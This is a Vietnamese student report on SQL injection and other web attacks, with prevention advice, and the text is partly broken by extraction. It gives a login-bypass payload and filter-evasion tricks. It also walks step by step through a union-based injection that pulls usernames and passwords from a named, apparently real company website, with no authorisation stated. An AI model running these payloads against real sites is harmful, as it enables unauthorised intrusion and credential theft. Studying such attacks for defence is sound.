Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống

30 413 13
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Các dạng tấn công sql injection, kĩ thuật tấn công sql injection, cách phòng tránh

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN -□&□ - THỰC TẬP CƠ SỞ CHUYÊN NGÀNH SQL INJECTION CÙNG MỘT SỐ CÁC KỸ THUẬT TẤN CƠNG VÀ CÁCH PHỊNG TRÁNH Ngành: An tồn thơng tin Mã số: 05 Sinh viên thực hiện: Vũ Ngọc Điệp AT140310 Lê Dương Hùng AT14012 Nguyễn Hải Văn AT140352 Người hướng dẫn: Cô Cao Thanh Vinh Hà Nội, 2020 MỤC LỤC MỤC LỤC HÌNH ẢNH Hình 11 Mô tả ứng dụng web Hình 12 Kiến trúc số ứng dụng web Hình 13 Mơ hình hoạt động ứng dụng web .9 Hình 14 Q trình cơng hacker .10 Hình 15 Mơ hình XSS .15 Hình 21 Phân loại kiểu công SQL Injection 23 Hình 22 Ví dụ báo lỗi Error-based SQLi 24 Hình 23 Ví dụ lỗi Union-based SQLi 24 Hình 24 Ví dụ khai thác user input 26 Hình 25 Ví dụ biến server 28 Hình 26 Những vị trí bị lỗi khai thác 30 Hình 27 Danh mục bảng .30 Hình 28 Khai thác liệu trường bảng .31 Hình 29 Kết khai thác 31 Nhận xét giáo viên hướng dẫn ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………………………………………………… ……………………… LỜI CẢM ƠN Trong trình học tập học phần thực tập sở chuyên ngành , chúng em nhận giúp đỡ tận tình cán hướng dẫn cô Cao Thanh VinhKhoa Công nghệ thông tin Học viện Kỹ thuật Mật mã Xin cảm ơn tạo điều kiện tốt để chúng em hồn thành mơn thực tâp sở SINH VIÊN THỰC HIỆN Vũ Ngọc Điệp Lê Dương Hùng Nguyễn Hải Văn Lời mở đầu Với bùng nổ internet kèm theo phát triển Word Wide Web (WWW) năm gần Các doang nghiệp, cá nhân, phủ phát trang web hay ứng dụng web cung cấp đầy đủ giải pháp hiệu quả, đáng tin cậy giải thách thức giao tiếp tiến hành thương mại hóa kỷ XXI Tuy nhiên , an toàn trang web hay ứng dụng web trở nên ngày quan trọng thập kỷ qua Ngày nay, trang web giáo dục, y tế hay liệu nhạy cảm phải đối mặt với nhiều nguy bị công từ hacker Tại Việt Nam vài năm vừa qua có nhiều công vào tổ chức lớn gây thiệt hại nhiều cho doanh nghiệp, tổ chức bật công vào trang chủ VietnamAirlines nhóm hacker có tên 1937CN từ Trung Quốc gây ý nhiều dư luận Nhiều lỗ hổng trang web không kiểm tra kỹ để điều khiển ứng dụng trang web nguyên nhân để hacker dựa vào để cơng.Có số dạng cơng như: Shell Injection, Script languge injection, file inclusion, XML Injection, XPATH Injection,… Trong SQL Injecion dạng cơng phổ biến sử dụng SQL Injection dạng công nghệ công vào sở liệu trang Web Với việc lợi dụng lỗ hổng câu lệnh truy vấn, hacker thêm vào số câu lệnh truy vấn SQL để lấy liệu chiếm quyền truy cập để thay đổi liệu CHƯƠNG 1: TỔNG QUAN ỨNG DỤNG WEB VÀ MỘT SỐ PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB ĐIỂN HÌNH • • Tổng quan ứng dụng Web Khái niệm ứng dụng web Ứng dụng web (web application) ứng dụng xây dựng để thực thi web Thông qua chúng, người dùng tương tác tốt với website nhờ có nhiều ứng dụng / công cụ chạy online mà không cần cài phần mềm máy tính Hình 11 Mơ tả ứng dụng web Tốc độ phát triển kỹ thuật xây dựng ứng dụng web phát triển nhanh Trước ứng dụng web thường xây dựng CGI (Common Gateway Interface) chạy trình chủ Web kết nối vào sở liệu đơn giản máy chủ Ngày nay, ứng dụng web thường viết Java chạy máy chủ phân tán, kết nối đến nhiều nguồn liệu • Cấu trúc ứng dụng web Tốc độ phát triển kỹ thuật xây dựng ứng dụng web phát triển nhanh Trước ứng dụng web thường xây dựng CGI (Common Gateway Interface) chạy trình chủ Web kết nối vào sở liệu đơn giản máy chủ Ngày nay, ứng dụng web thường viết Java chạy máy chủ phân tán, kết nối đến nhiều nguồn liệu Dù có nhiều biến thể, ứng dụng Web thơng thường cầu trúc ứng dụng ba lớp: Hình 12 Kiến trúc số ứng dụng web • Lớp trình bày: Lớp có nhiệm vụ hiển thị liệu cho người dùng, ngồi cịn có thêm ứng dụng tạo bố cục cho trang web • Lớp ứng dụng: Là nơi xử lý ứng dụng web Nó xử lý thơng tin người dùng yêu cầu, đưa định, gửi kết đến “lớp trình bày” lớp thường cài đặt kỹ thuật lập trình CGTL, Java, NET, PHP hay ColdFuslon, triển khai trình chủ IBM WebSphere, WebLogic, Apache, HS • Lớp liệu : thường hệ quản trị liệu (ĐBMS) chịu trách nhiệm quản lý file liệu quyền sử dụng 1.1.3 Mô tả hoạt động ứng dụng web Các ứng dụng web thường mã hóa ngơn ngữ trình duyệt hỗ trợ JavaScript HTML ngơn ngữ dựa trình duyệt để render chương trình thực thi Có số ứng dụng động yêu cầu trình xử lý phía máy chủ, cịn lại ứng dụng tĩnh hồn tồn khơng cần xử lý phía máy chủ Ứng dụng web yêu cầu web server để quản lý yêu cầu từ máy khách, application server để thực tác vụ yêu cầu đôi khi, database để lưu trữ thông tin Công nghệ application server có loại từ ASP.NET, ASP ColdFusion, đến PHP JSP Hình 13 Mơ hình hoạt động ứng dụng web Đầu tiên trình duyệt gửi yêu cầu (request) đến trình chủ Web thông qua lệnh GET, POST giao thức HTTP, trình chủ lúc có thê cho thực thi chương trình xây dựng từ nhiều ngơn ngữ như: C,C++,Java trình chủ yêu cầu diễn dịch thực thi trang ASP, JSP theo yêu cầu trình khách Tùy theo tác vụ chương trình cài đặt mà xử lý, tính toán kết nối đến sở liệu, lưu thơng tin trình khách gửi đến từ trả 1.1.4 Sơ lược q trình cơng hacker 1.1.4.1 Các giai đoạn cơng Q trình cơng hacker có thê khái qt qua giai đoạn: • Thu thập thơng tin • Phân tích hành động • Dừng xố dấu vết Hình 14 Q trình cơng hacker Giai đoạn 1: Thu thập thơng tin Gồm bước FootPrinting, Scanning, Enumcration FootPrinting (In dấu chân): Là bước mà kẻ công thu thập thông tin đối tượng, người dùng, doanh nghiệp, nhánh công ty, máy chủ bao gồm chi tiết Domain Name, địa IP, Networking Prototcols, thông tin người quản trị, Đây bước quan trọng cho hacker, với thơng tin hacker làm chủ hệ thống Công cụ hỗ trợ: Nslookup, Smart Whols, UseNet Google Earth Search engines (cơng cụ tìm kiếm), http:/www.networksolution.com http:// www archive org Scanning (Quét thăm dò mạng): Phần lớn thơng tin quan trọng từ server có từ bước Xác định hệ điều hành, xác định hệ thống có chạy khơng, tìm hiểu dịch vụ chạy hay lắng nghe, tìm hiểu lỗ hồng, kiểm tra cổng, xác định dịch vụ sử dụng giao thức TCP UDP, Công cụ hỗ trợ LANGuard, xScan, NetScanToolsiNetToolsNmap Enumeration (Điểm danh mạng - liệt kê tìm lỗ hồng): Đến đây, attacker bắt đầu kiểm soát server sơ Bước tìm kiếm tài nguyên bảo vệ kém, tài khoản người dùng mà sử dụng để xâm nhập, bao gồm mật mặc định, script dịch vụ mặc định Rất nhiều người quản trị mạng đến không sửa đổi lại giá trị thiết bị Công cụ hỗ trợ: DumpSec, NbtScan, SuperScan, NetviewX, Userlnfo,… Giai đoạn 2: Phân tích hành động Gaining Access (Đột nhập hệ thống): Hacker tìm cách truy cập vào mạng thơng tin có ba bước Phương pháp sử dụng công vào lỗi tràn đệm, lấy giải mã file password, hay brute force (kiểm tra tất trường hợp) password, đột nhập qua cổng mở, Công cụ hỗ trợ: Password ceavesdropping, Tcpdump, L0phtcrack, NAT, Pwdump2 (NT), Remote Buffer Overflows, Brute-force password attacks, Privilege Escalation (Nâng quyền hệ thống): Trong trường hợp hacker xâm nhập vào mạng với tài khoản đó, họ tìm cách kiểm sốt tồn hệ thống Hacker tìm cách crack password admin, sử dụng lỗ hồng để leo thang đặc quyền Kẻ xâm nhập truy cập vào files hay folder liệu mà tài khoản người sử dụng ban đầu không cho phép truy cập Khi hacker đạt mức độ quyền truy cập đủ cao, họ cài đặt phần mềm Backdoors Trojan horses, cho phép truy cập sâu thăm dò Mục đích chung hacker chiếm quyền truy cập mức độ quản trị Khi đạt mục đích đó, họ có tồn quyền điều khiển hệ thống mạng Công cụ hỗ trợ: L0phtcrack, Password cracking, BUG, Exploits John Riper hai chương trình crack password hay sử dụng Có thể sử dụng Sniffer để bắt gói tin, từ phân tích tìm mật Pilring (Khai thác hệ thống): Thông tin lấy từ bước đủ để hacker định vị server điều khiển server Nếu bước không thành công, đến bước DoS (Denial of Service) Công cụ hỗ trợ: Rhost, Configuration files, Registry, Telnet, Ftp, Giai đoạn 3: Dừng xoá dâu vêt Creating Backdoors (Tạo cổng hậu): Để chuẩn bị cho lần xâm nhập dễ dàng Hacker để lại Backdoors, tức chế cho phép hacker truy nhập trở lại đường bí mật khơng phải tốn nhiều cơng sức khai phá, việc cài đặt TroJan hay tạo user Công cụ hỗ trợ: Ở loại Trojan, keylog, creat rogue user accounts, schedule batch Jobs, replace apps with Trojan VNC, BO2K, Covering Tracks (Xoá dấu vết): Sau có thơng tin cần thiết, hacker tìm cách xố dấu vết, xố file LOG hệ điều hành (vì hệ thống ln ghi nhận hành động người dùng) làm cho người quản lý không nhận hệ thống bị xâm nhập có biết khơng tìm kẻ xâm nhập Công cụ hỗ trợ: Clear logs, Zap, Event log GUL, rootkits, file streaming, 1.1.4.2 Khảo sát ứng dụng web Khi phạm vi ứng dụng Web application ngày phổ biến khả xuất lỗi bị công cao Trong lĩnh vực hacking, hack Web application công việc hacker nhằm đến nhằm mục đích phục vụ yêu cầu họ hay để phá hoại Trước hết hacker tiến hành thu thập thông tin mức hạ tầng mục tiêu Thu thập số thơng tin quan trọng có server, mơ hình Web server, client tương tác với ứng dụng Web, kiểu giao tiếp thông tin (transport) thông qua công (port) nào, site liên quan đến việc thực chức site mục tiêu, -Tiếp hacker khảo sát ứng dụng Web: Một phương pháp khảo sát phổ biến từ trước đến giờ, xem mã nguồn lợi dụng lỗi cho phép xem mã nguồn ngôn ngữ Web thông dụng Active Server Pages (ASP), Common Gateway Interface (CGD), ColdEusion Server (CFM), Hypertext Preprocessor (PHP) Sử dụng số phép thử thêm dấu ° vào url theo khuôn dạng truyền vào giá trị phố biến, đưa vào mẫu thử form xác thực đăng nhập đê khảo sát lơi SQL InJection • Đưa vào thông tin “lạ” form ứng dụng Web hay url để xem thông điệp chuyên xuống cho người dùng ứng dụng có lỗi Các thông báo lỗi thông thường tiết lộ tiết kỹ thuật cho phép kẻ cơng biết điểm yếu hệ thống • Sử dụng công cụ để đưa trang Web mục tiêu vào dị tìm lỗi người phát triển ứng dụng để từ xây dựng nên kịch cơng chọn cách cơng cụ thê • Tìm hiểu sâu chức ứng dụng Web Tìm hiểu cách thực phần ứng dụng, đặc biệt order input, order tracking • Tìm hiểu luồng di chuyển thơng tin Các thơng tin tương tác client server, thông tin tương tác với database Hiện việc viết mã để thực việc giao tiếp thông tin thường phải đảm bảo tính hiệu (nhanh) bảo mật (có thể chậm hơn) Thường tính hiệu ưu tiên phát sinh lỗi q trình giúp hacker lợi dụng lỗi để đoạt quyền điều khiển hệ thống 1.1.4.3 Tấn công mục tiêu Việc thu thập thông tin đề quan trọng cho việc công vào hệ thống máy mục tiêu Cho dù hacker công theo phương diện phần cứng hay qua ứng dụng việc thu thập cần thiết Sau khảo sát thu thập thông tin mục tiêu, hacker bắt đầu thực công nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành quyền kiểm sốt, Có thể bước nêu hacker không cần phải qua theo thứ tự hay qua hết, việc nắm rõ thông tin máy mục tiêu điều kiện tiên để dẫn đến thành công việc công Tùy vào thông tin thu thập mà hacker định công theo kỹ thuật nào, xây dựng kịch cơng phù hợp • Một số kịch công: Tấn công đồng loạt vào trang tin điện tử thuộc Chính phủ, thành phố, bộ, sở ban ngành, làm thay đổi nội dung, đưa thông tin sai lệch, Tấn công vào ứng dụng Web mua bán, giao dịch trực tuyến để đánh cắp thơng tin cá nhân, thẻ tín dụng, Tấn công ứng dụng Web, đặt mã độc trang Web, sử dụng máy chủ bị lỗi để thực hành vi cơng khác • Mục đích cơng hacker ứng dụng Web sau: Tấn cơng với mục đích trị (tấn cơng trang tin điện tử thuộc phủ, thành phố, sở ban ngành, ) Tấn cơng với mục đích lợi nhuận (các trang thương mại điện tử, tài chính, ngân hàng, doanh nghiệp, ) Tấn công với mục đích cá nhân • Hậu cơng hacker ứng dụng Web: Dù công với mục đích hậu ảnh hưởng đáng kể, thiệt hại to lớn uy tín, kinh tế, gây thiệt hại cho người dùng mạng, bị đánh cắp thơng tin, bị hacker lợi dụng để công tổ chức khác, tận dụng phát tán lừa đảo, Nếu không thành công việc xâm nhập kỹ thuật phổ biến, Dos cách thức mà hacker thường lựa chọn để làm cho hệ thống khơng thể hoạt động • • • Một số phương pháp công ứng dụng web điển hình: Tấn cơng Brute Force Tấn cơng Brute Force gì? Tấn cơng Brute Force loại cơng mạng, bạn có phần mềm, xoay vòng ký tự khác nhau, kết hợp để tạo mật Phần mềm Brute Force Attack password cracker đơn giản sử dụng tất kết hợp để tìm mật cho máy tính máy chủ mạng Nó đơn giản không sử dụng kỹ thuật thông minh Vì phương pháp chủ yếu dựa tốn học, phải thời gian để crack mật khẩu, cách sử dụng ứng dụng brute force thay tìm chúng theo cách thủ cơng Nói phương pháp dựa tốn học máy tính làm tốt phép tốn thực chúng vài giây, nhanh nhiều lần so với não người (mất nhiều thời gian để tạo kết hợp) Tấn công Brute Force tốt hay xấu tùy thuộc vào người sử dụng Nó bọn tội phạm mạng cố gắng sử dụng để hack vào máy chủ mạng, quản trị viên mạng dùng để xem mạng bảo mật có tốt khơng Một số người dùng máy tính sử dụng ứng dụng brute force để khôi phục mật quên -Cách phòng chống bảo vệ để tránh khỏi cơng Brute Force Vì khơng có logic đặc biệt áp dụng công Brute Force, ngoại trừ việc thử kết hợp khác ký tự sử dụng để tạo mật khẩu, nên biện pháp phòng ngừa mức tương đối dễ dàng Ngoài việc sử dụng phần mềm bảo mật hệ điều hành Windows cập nhật đầy đủ, bạn nên sử dụng mật mạnh có số đặc điểm sau: • Có chữ hoa • Có chữ số • Có ký tự đặc biệt • Mật phải có tối thiểu 8-10 ký tự • Bao gồm ký tự ASCII, bạn muốn Mật dài nhiều thời gian để crack Nếu mật bạn giống 'PA$$w0rd', 100 năm để crack ứng dụng cơng brute force có Xin vui lịng khơng sử dụng mật đề xuất ví dụ, dễ dàng bị phá vỡ, cách sử dụng số phần mềm thơng minh, tổng hợp mật đề xuất viết liên quan đến công brute force Phần mềm miễn phí PassBox cơng cụ nhỏ tiện dụng ghi nhớ tất mật bạn chí cịn tạo mật mạnh cho tài khoản bạn Nếu khơng, bạn sử dụng số trình tạo mật trực tuyến miễn phí để tạo mật mạnh ẩn danh Sau thực điều đó, kiểm tra mật bạn Microsoft Password Checker Trình kiểm tra mật Microsoft Trình kiểm tra mật giúp đánh giá sức mạnh mật bạn nhập Nếu bạn sử dụng phần mềm website WordPress, có nhiều plugin bảo mật WordPress tự động chặn công brute force Sử dụng tường lửa web Sucuri Cloudflare tùy chọn khác mà bạn xem xét Một cách để chặn cơng brute-force khóa tài khoản sau số lần nhập mật khơng xác Plugin Limit Logins WordPress tốt cho việc ngăn chặn công brute force blog bạn Các biện pháp khác bao gồm cho phép đăng nhập từ địa IP chọn, thay đổi URL đăng nhập mặc định thành thứ khác sử dụng Captcha để tăng cường bảo mật blog WordPress bạn 1.2.2 XSS (Cross-Site Scripting) XSS kĩ thuật công phổ biến nay, đồng thời vấn đề bảo mật quan trọng nhà phát triển web người sử dụng web XSS kỹ thuật công cách chèn vào website động thẻ HTML hay đoạn scrip nguy hiểm gây hại cho người sử dụng khác Trong đó, đoạn mã nguy hiểm chèn vào hầu hết viết Client-Site Scrip JavaScrip, Jscrip thẻ HTML • Cách thực : Cho phép kẻ công nhúng mã đọc Javacsript, VBScript, ActiveX, HTML, Flash vào trang động, dễ bị đánh lừa người sử dụng, thực kịch máy tính để thu thập liệu Kỹ thuật không công vào CSDL hệ thống SQL injection mà chúng cơng trực tiếp từ phía người dùng cách xâm nhập hệ thống đoạn mã đơn giản để lấy cắp cookies session từ chúng thao túng người dùng cướp quyền truy cập tài khoản mà không cần tới mật Non-persistent (Reflected) loại phổ biến nhất: Loại xuất liệu cung cấp từ web client Hacker muốn cơng điều phải tìm lỗ hổng bảo mật website cách gắn đoạn mã test vào web client để web client gửi đến server chờ phản hồi web server để tìm lỗ hổng bảo mật Hacker công dựa vào thiếu ý việc lọc liệu vào từ URL vủa website gắn thêm đoạn mã độc vào để thực hành vi cơng website Loại có tác dụng lần • Ví dụ: Có thể request gửi từ form liệu URL: http://www.example.com/search? query=alert('XSS was found!'); • Stored XSS: Là biến thể tàn phá gây hậu nặng nề Loại xảy liệu hacker cung cấp lưu trữ máy chủ thông qua số chức website từ sau liệu hiển nhiên hiển thị cách bình thường trình duyệt người dùng mà không cần tới HTML riêng Và người dùng click vào phần bị gắn mã độc bị dính XSS Đoạn mã chèn thêm vào lưu trữ vào CSDL server dạng comment blog, mesage, forum hay visitor log • Ví dụ: Khi đăng ký thành viên, phần giới thiêu thân, hacker nhập vào mã XSS website không kiểm tra kỹ liệu đầu vào, truy cập trang thành viên hacker đó, bạn bị khai thác Hình 15 Mơ hình XSS Từ điều thấy Stored XSS nguy hiểm Reflected XSS nhiều, đối tượng bị ảnh hưởng tất người sử dụng ứng dụng web Và nạn nhân có vai trị quản trị cịn có nguy bị chiếm quyền điều khiển web 1.2.3 Từ chối dịch vụ (Dos) • DOS gì? Dos hay Denial of Service nghĩa từ chối dịch vụ Đây hình thức cơng phổ biến nhiều hacker sử dụng Để công từ chối dịch vụ Dos, tin tặc tạo lượng lớn truy cập đến máy tính mục tiêu, khiến khơng kịp xử lý kịp tác vụ cần kíp, từ dẫn đến tải ngừng hoạt động Mục tiêu công Dos thường VPS web server ngân hàng, trang thương mại điện tử,… Tuy nhiên, Dos xuất phát từ địa điểm có dải IP nên bị phát dễ dàng ngăn chặn • Mục đích • Cố gắng chiếm băng thơng mạng làm hệ thống mạng bị ngập (flood), hệ thống mạng khơng có khả đáp ứng dịch vụ khác cho người dùng bình thường • Cố gắng làm ngắt kết nối hai máy, ngăn chặn q trình truy cập vào dịch vụ • Cố gắng ngăn chặn người dùng cụ thể vào dịch vụ cho người cơng • Boolean-based blind injections • Time based blind injections Dựa liệu đầu vào xử lý (kiểu liệu) • String • Numeric- or integer Dựa mức/thứ tự bị inject • First-order injections • Second-order injections Dựa điểm bị inject • Injection through user input form fields • Injection through cookies • Injection through server variables (headers-based injections) Hình 21 Phân loại kiểu cơng SQL Injection SQL Injection chia nhỏ thành dạng sau • In-band SQLi • Error-based SQLi • Union-based SQLi • Inferential SQLi (Blind SQLi) • Blind-boolean-based SQLi • Time-based-blind SQLi • Out-of-band SQLi 2.2.1 In-band SQLi Đây dạng công phổ biến dễ để khai thác lỗ hổng SQL Injection Xảy hacker tổ chức cơng thu thập kết trực tiếp kênh liên lạc -In-Band SQLi chia làm loại chính: + Error-based SQLi + Union-based SQLi 2.2.1.1 Error-based SQLi Là kỹ thuật công SQL Injection dựa vào thông báo lỗi trả từ Database Server có chứa thơng tin cấu trúc sở liệu Trong vài trường hợp, Error-based đủ cho hacker liệt kê thuộc tính sở liệu Là phương pháp để lấy liệu từ sở liệu UNION BASED không sử dụng blind SQLi khơng khả thi, lợi dụng chức thông báo lỗi MySQL để lấy liệu Hình 22 Ví dụ báo lỗi Error-based SQLi 2.2.1.2 Union-based SQLi • Là kỹ thuật cơng SQL Injection dựa vào sức mạnh toán tử UNION ngôn ngữ SQL cho phép tổng hợp kết hay nhiều câu truy vấn SELECTION kết trả phần HTTP response Hình 23 Ví dụ lỗi Union-based SQLi 2.2.2 Inferential SQLi (Blind SQLi) • Khơng giống In-band SQLi, Inferential SQL Injection tốn nhiều thời gian cho việc cơng khơng có liệu thực trả thông qua web application hacker khơng thể theo dõi kết trực tiếp kiểu cơng In-band • Thay vào đó, kẻ cơng cố gắng xây dựng lại cấu trúc sở liệu việc gửi payloads, dựa vào kết phản hồi web application kết hành vi database server • Có dạng cơng • Blind-boolean-based • Blind-time-based SQLi 2.2.2.1 Blind-boolean-based Là kĩ thuật công SQL Injection dựa vào việc gửi truy vấn tới sở liệu bắt buộc ứng dụng trả kết khác phụ thuộc vào câu truy vấn True hay False Tuỳ thuộc kết trả câu truy vấn mà HTTP reponse thay đổi, giữ nguyên Kiểu công thường chậm (đặc biệt với sở liệu có kích thước lớn) người công cần phải liệt kê liệu, mị kí tự Ý tưởng: sử dụng AND SUBSTR(), dựa vào kết trả True False để đoán table, column, liệu…v…v… Nếu kết trả True: Đoán đúng! False: Sai -> tiếp tục đoán 2.2.2.2 Time-based Blind SQLi Time-base Blind SQLi kĩ thuật công dựa vào việc gửi câu truy vấn tới sở liệu buộc sở liệu phải chờ khoảng thời gian (thường tính giây) trước phản hồi Thời gian phản hồi (ngay hay trễ theo khoảng thời gian set) cho phép kẻ cơng suy đốn kết truy vấn TRUE hay FALSE Kiểu công tốn nhiều thời gian tương tự Boolean-based SQLi 2.2.3 Out-of-band SQLi Out-of-band SQLi dạng cơng phổ biến, chủ yếu phụ thuộc vào tính bật Database Server sở dụng Web Application Kiểu công xảy hacker trực tiếp công thu thập kết trực tiếp kênh (In-band SQLi), đặc biệt việc phản hồi từ server không ổn định Kiểu công phụ thuộc vào khả server thực request DNS HTTP để chuyển liệu cho kẻ cơng Ví dụ câu lệnh xp_dirtree Microsoft SQL Server sử dụng để thực DNS request tới server khác kẻ cơng kiểm sốt, Oracle Database’s UTL HTTP Package sử dụng để gửi HTTP request từ SQL PL/SQL tới server kẻ công làm chủ 2.3 Các đường khai thác 2.3.1 Thông qua “user input” User input điển hình thường đến từ form đăng nhập, form search hay link… Những liệu web browser gửi đến server thông qua phương thức HTTP GET hay POST trở thành tham số cho ứng dụng web truy cập tới sở liệu Ví dụ : -Giả sử có form đăng nhập sau: Hình 24 Ví dụ khai thác user input -Nếu nhập vào: Tên đăng nhập: abc Mật khẩu: xyz Thì server thực thi câu query: +Select username from users where username=‘abc’ and password= ‘xyz’ Nếu câu query có trả kết quả, ta đăng nhập thành công! ->Vậy để đăng nhập username password? -> Lợi dụng kí tự “comment” SQL để biến câu query trở thành hợp lệ Tên đăng nhập: ‘ or 1=1# Mật khẩu: abc Câu query trở thành: SELECT username FROM users WHERE username=‘’ or 1=1# and password=‘abc’ Như câu query luôn hợp lệ, trả kết quả! 2.3.2 Thông qua Cookie Cookies tệp tin lưu trữ thông tin trạng thái người dùng truy cập ứng dụng web Những thơng tin người lập trình định, tạo server lưu trữ client Khi người dùng truy cập lại ứng dụng web, cookies browser gửi lên server giúp phục hồi lại trạng thái người dùng lần truy cập trước Do lưu trữ client nên người dùng chỉnh sửa tùy ý, ứng dụng web sử dụng thông tin lưu cookies để xây dựng truy vấn tới sở liệu hacker hồn tồn chèn vào cookies script sql để thực cơng Sql Injection Có nhiều cơng cụ cho phép xem, thêm chỉnh sửa cookie, addon Cookies Quick Manager firefox công cụ tiện lợi Ta tải cài đặt vào firefox cách dễ dàng 2.3.3 Thông qua biến Server Biến server khái niệm tương đối lạ lẫm khơng Một số ví dụ biến server Http header, Network header… Không phổ biến giá trị lưu biến server ứng dụng web sử dụng việc logging truy cập hay thống kê truy cập theo user agent… Những công việc có tương tác với sở liệu nên hacker hồn tồn sử dụng biến server việc khai thác Sql Injection Các addon firefox hỗ trợ tốt việc này, Tamper Data hay Live HTTP headers (đã ví dụ trên) giúp bắt request gửi từ client lên web server, từ dễ dàng thay đổi biến server (http header…) trước gửi chúng tới server Việc khai thác thông qua biến server tương tự khai thác thông qua cookie Tamper Data: 2.4 Kỹ thuật khai thác Hình 25 Ví dụ biến server 2.4.1 Với Boolean based Time based Blind SQL injection Boolean based: Cơ sở kỹ thuật việc so sánh sai để tìm ký tự thơng tin tên bảng, tên cột… Do đó, với dải giá trị chữ số, chữ (bao gồm hoa, thường), số ký tự đặc biệt, việc so khớp trở nên khó khăn địi hỏi nhiều thời gian Do việc khai thác lỗi chủ yếu tiến hành tools Trong kỹ thuật Blind SQLi, có nhiều phương pháp khác Điểm khác biệt phương pháp tối ưu thời gian Time based: Giống boolean based attacks khác cách suy diễn, dựa thời gian xử lý sở liệu sau trả kết để xác định câu truy vấn Sql thực thành công 2.4.2 Union query based Ý tưởng: -Trong trang web ln có vị trí để in liệu dựa vào câu query (ví dụ để in ngày tháng năm: select sysdate(); ) -Ta làm cho vị trí khơng in người code mong muốn, mà in thứ ta điều khiển (như thơng tin user,pass) • Kiến thức cần biết: -Union dùng để hợp ghi -Trong sở liệu ln có database information_schema, metadata, bao gồm tất liệu sở liệu -> Dựa vào đây, ta tìm tên bảng, tên cột -Sử dụng lệnh union câu query phải có số cột select (VD select 1,2,3 from users union select 4,5,6 from users) Tuy nhiên, thông qua UNION, kẻ cơng dễ dàng truyền vào câu truy vấn khai thác thông tin từ CSDL: • Xác định số cột mệnh đề Select: Nếu STT cột nhỏ số cột liệt kê truy vấn => thực thành công; ngược lại trả thơng báo lỗi • Đốn tên bảng, tên cột • Kiểm tra kiểu liệu • Trích xuất liệu trái phép • Thực tất nguy CSDL khác tồn lỗ hổng phân quyền DBMS Ví dụ : -Đối tượng : http://www.nhuaphucthinh.com.vn/product.php?id=11 Giả sử câu query sau: SELECT id,content,abc,xyz…… WHERE id=7 -Note :Số đường link biến gửi lên server theo phương thức GET Chúng ta thực cơng • STEP 1: Lợi dụng Order by để biết câu query đầu có cột Ví dụ: select username,password from users order by -> xếp theo username select username,password from users order by -> xếp theo password select username,password from users order by -> khơng có -> Error! Theo victim này, ta biết có 11 cột ! Query: http://www.nhuaphucthinh.com.vn/product.php?id=11 order by 11 Tìm xem vị trí in thơng tin được: http://www.nhuaphucthinh.com.vn/product.php?id=nul union select 1,2,3,4,5,6,7,8,9,10,11 Kết : Hình 26 Những vị trí bị lỗi khai thác Như vị trí 3,5,6 in thơng tin! • STEP 2: Tìm tên bảng thơng qua vị trí số 3: QUERY: http://www.nhuaphucthinh.com.vn/product.php?id=null%20union %20select%201,2,group_concat(table_name),4,5,6,7,8,9,10,11%20from %20information_schema.tables%20where%20table_schema=database() Hình 27 Danh mục bảng • STEP 3: Đột nhập vào bảng user tìm column : QUERY http://www.nhuaphucthinh.com.vn/product.php?id=null%20union %20select %201,2,group_concat(column_name,’\n’),4,5,6,7,8,9,10,11%20from %20information_schema.columns%20where%20table_name=0x75736572 Hình 28 Khai thác liệu trường bảng Lấy thông tin : QUERY: http://www.nhuaphucthinh.com.vn/product.php?id=null%20union%20select %201,2,group_concat(UseName,%27\n%27,UsePass,%27\n %27),4,5,6,7,8,9,10,11%20from%20user Kết quả: Hình 29 Kết khai thác 2.4.3 Batched query Đây phương pháp áp dụng khả thực thi lúc nhiều câu lệnh Sql số hệ quản trị sở liệu khả hỗ trợ ngôn ngữ lập trình Phương pháp mạnh mẽ gây nguy hiểm với hệ thống Bằng cách thêm vào dòng lệnh Update, Insert hay Delete, liệu sở liệu ứng dụng web không cịn tồn vẹn 2.4.4 Order by clause Khơng giống phương pháp trên, nội dung inject nằm mệnh đề điều kiện where Trong phương pháp này, cố gắng tiêm mã script vào mệnh đề order Chúng ta xem đến kịch sau: Người lập trình muốn liệt kế sản phẩm cơng ty bao gồm thông tin : Mã sản phẩm, Tên sản phầm, Ngày tháng… có chức cho pháp người dùng tủy chỉnh xem họ muốn xếp theo thứ tự ngày tháng, theo tên hay mã sản phẩm Câu truy vấn xây dựng sau : Trong trường hợp thêm trực tiếp mệnh đề sub select thông qua từ khóa union Một cách khai thác sử dụng BATCHED QUERY tham khảo cách sau: 2.4.5 Một số kĩ thuật vượt qua chế lọc 2.4.5.1 Cắt bớt nội dung truy vấn Trong trường hợp muốn lờ đoạn script câu truy vấn Ví dụ đoạn xử lý đây, câu truy vấn đòi hỏi điều kiện active=1 comment ( , -, -+, #, /*, /**/, //, ;%00…) lờ Khi khai thác thường khơng biết nội dung cịn lại câu truy vấn làm cơng việc nên sử dụng comment trường hợp hiệu Sau comment, truy vấn trở thành: 2.4.5.2 Bypass việc lọc từ khóa a Inline Comment Inline comment sử dụng hiệu việc bypass lọc khoảng trắng Có thể sử dụng kí tự sau để bypass lọc khoảng trắng: /**/, %20, %09, %0a, %0b, %0c, %0d, %a0) Ví dụ: Hay bypass lọc từ khóa (khả dụng với MySql) Trong ví dụ đây, từ khóa union password nằm blacklist nên bị chặn, bypass cách: b Thay từ khóa Khi khai thác SQL injection thường sử dụng từ khóa như: union, select, information_schema Nhiều trường hợp người lập trình đơn giản thay từ khóa đi: Chúng ta dễ dàng nhận thấy đoạn mã xử lý thiếu xót Nếu đơn pattern matching cách bypass đơn giản Chúng ta áp dụng case sensitive, chữ viết 